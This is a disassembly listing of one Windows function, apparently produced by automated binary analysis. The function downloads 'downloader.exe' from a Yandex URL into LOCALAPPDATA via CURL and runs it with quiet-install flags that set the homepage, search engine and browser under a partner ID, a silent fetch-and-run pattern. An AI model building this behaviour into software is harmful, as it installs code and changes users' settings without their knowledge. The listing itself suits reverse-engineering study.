Function at 0x140039430
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
xor ebx, ebx
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rcx, [rbp + 0x10]
test eax, eax
lea rdx, [rbp + 0xc0]
jns 0x14003948c
lea rdx, [0x140084f1f]
call fcn.1400391b0
nop
mov r13, qword [rbp + 0x28]
mov r14, qword [rbp + 0x10]
mov rsi, qword [rbp + 0x20]
test rsi, rsi
jne 0x1400394ce
lea rdx, str.Failed_to_get_LOCALAPPDATA_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14003c100
lea rdx, [0x14003c2d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ebx, [rsi - 1]
jmp 0x140039c8b
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0xf
jb 0x140039cfa
lea r12, [rbp + 0x10]
cmp r13, 0xf
cmova r12, r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
lea r15, [rsi + 0xf]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rsp + 0x50]
movabs rax, 0x8000000000000000
lea edx, [rbx + 7]
cmp r15, rbx
jbe 0x140039591
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140039558
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140077474
test rax, rax
je 0x140039c6c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14003958c
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14003957b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140039cee
jmp 0x140039539
test rcx, rcx
je 0x14003958a
call fcn.140077474
mov rdi, rax
jmp 0x14003958c
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rbx
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.downloader.exe]
movsd qword [rsi + rdi], xmm0
mov eax, dword [0x14009bba0]
mov dword [rsi + rdi + 8], eax
movzx eax, word [0x14009bba4]
mov word [rsi + rdi + 0xc], ax
movzx eax, byte [0x14009bba6]
mov byte [rsi + rdi + 0xe], al
mov byte [rdi + r15], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], 0
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov ecx, 0x50
call fcn.140077474
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], 0x40
mov qword [rbp - 0x78], reloc.WLDAP32.dll_Ordinal_79
movaps xmm0, xmmword [str.https:__download.yandex.ru_yandex_pack_downloader_downloader.exe]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x14009bbc0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14009bbd0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14009bbe0]
movups xmmword [rax + 0x30], xmm1
mov byte [rax + 0x40], 0
call fcn.14003c740
mov rdi, rax
test rax, rax
jne 0x140039677
lea rdx, str.Failed_to_initialize_CURL.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14003c100
lea rdx, [0x14003c2d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14003979f
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
lea rdx, [0x14009bb34]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x1400396e3
lea rdx, str.Failed_to_open_file_for_writing:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14003c100
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
call fcn.14003c510
lea rdx, [0x14003c2d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140039797
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova r8, qword [rsp + 0x70]
mov edx, 0x2712
mov rcx, rdi
call fcn.14003c800
lea r8, [0x140039420]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.14003c800
mov r8, rsi
mov edx, 0x2711
mov rcx, rdi
call fcn.14003c800
mov edx, 0x34
lea r8d, [rdx - 0x33]
mov rcx, rdi
call fcn.14003c800
mov edx, Ordinal_46
lea r8d, [rdx - 0x2c]
mov rcx, rdi
call fcn.14003c800
mov rcx, rdi
call fcn.14003c7f0
mov r15d, eax
test eax, eax
je 0x1400397ce
lea rdx, str.CURL_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14003c100
mov rbx, rax
mov ecx, r15d
call fcn.14003d3b0
mov rdx, rax
mov rcx, rbx
call fcn.14003c100
lea rdx, [0x14003c2d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call fcn.14003c730
lea rdx, str.Failed_to_download_the_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14003c100
lea rdx, [0x14003c2d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 0xfffffffe
xor edi, edi
jmp 0x140039be8
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call fcn.14003c730
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov ecx, 0x60
call fcn.140077474
mov rsi, rax
mov qword [rbp - 0x10], rax
mov qword [rbp], 0x5c
mov eax, 0x5f
mov qword [rbp + 8], rax
movaps xmm0, xmmword [str.__sync___partner_635492___distr__quiet__msicl__YAHOMEPAGEy_YAQSEARCHy_YABROWSERy_VID738_]
movups xmmword [rsi], xmm0
movaps xmm1, xmmword [0x14009bc30]
movups xmmword [rsi + 0x10], xmm1
movaps xmm0, xmmword [0x14009bc40]
movups xmmword [rsi + 0x20], xmm0
movaps xmm1, xmmword [0x14009bc50]
movups xmmword [rsi + 0x30], xmm1
movaps xmm0, xmmword [0x14009bc60]
movups xmmword [rsi + 0x40], xmm0
movsd xmm0, qword [0x14009bc70]
movsd qword [rsi + 0x50], xmm0
mov eax, dword [0x14009bc78]
mov dword [rsi + 0x58], eax
mov byte [rsi + 0x5c], 0
mov rdx, qword [rsp + 0x60]
mov qword [rbp + 0x200], rdx
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rdx
cmp rax, 1
jb 0x140039ce8
lea r12, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova r12, qword [rsp + 0x50]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea r15, [rdx + 1]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp - 0x70]
cmp r15, rbx
jbe 0x14003993f
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400398f3
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140077474
test rax, rax
je 0x14003991c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rdx, qword [rbp + 0x200]
jmp 0x14003993b
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140039923
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140039cf4
jmp 0x1400398d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140039939
call fcn.140077474
mov rdi, rax
mov rdx, qword [rbp + 0x200]
jmp 0x14003993b
xor edi, edi
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], rbx
mov byte [rdi], Ordinal_35
lea rcx, [rdi + 1]
mov r8, rdx
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r15], 0
mov r8d, 2
lea rdx, [0x14009bc80]
lea rcx, [rbp - 0x70]
call fcn.14003bef0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
mov rdx, rsi
lea r8d, [rdi + 0x5c]
lea rcx, [rbp - 0x30]
call fcn.14003bef0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], dil
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140039a1e
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039a19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039a19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007715c
movdqa xmm0, xmmword [0x14009c3b0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140039a6d
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039a68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039a68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007715c
movdqa xmm0, xmmword [0x14009c3b0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov dword [rbp + 0x50], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
movups xmmword [rbp + 0x78], xmm0
movups xmmword [rbp + 0x88], xmm0
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rbx, rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140039b2c
lea rdx, str.Failed_to_start_process.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14003c100
lea rdx, [0x14003c2d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ebx, 0xfffffffd
jmp 0x140039b5a
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ebx, edi
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140039b98
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039b93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039b93
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007715c
movdqa xmm0, xmmword [0x14009c3b0]
movdqu xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140039be8
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039be2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039be2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007715c
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140039c27
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039c22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039c22
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007715c
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140039c78
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039c73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039c73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007715c
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
cmp r13, 0xf
jbe 0x140039cc5
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140039cbd
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039cbd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14007715c
mov eax, ebx
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140037780
nop
call fcn.1400376e0
nop
call fcn.1400376e0
nop
call fcn.140037780
int3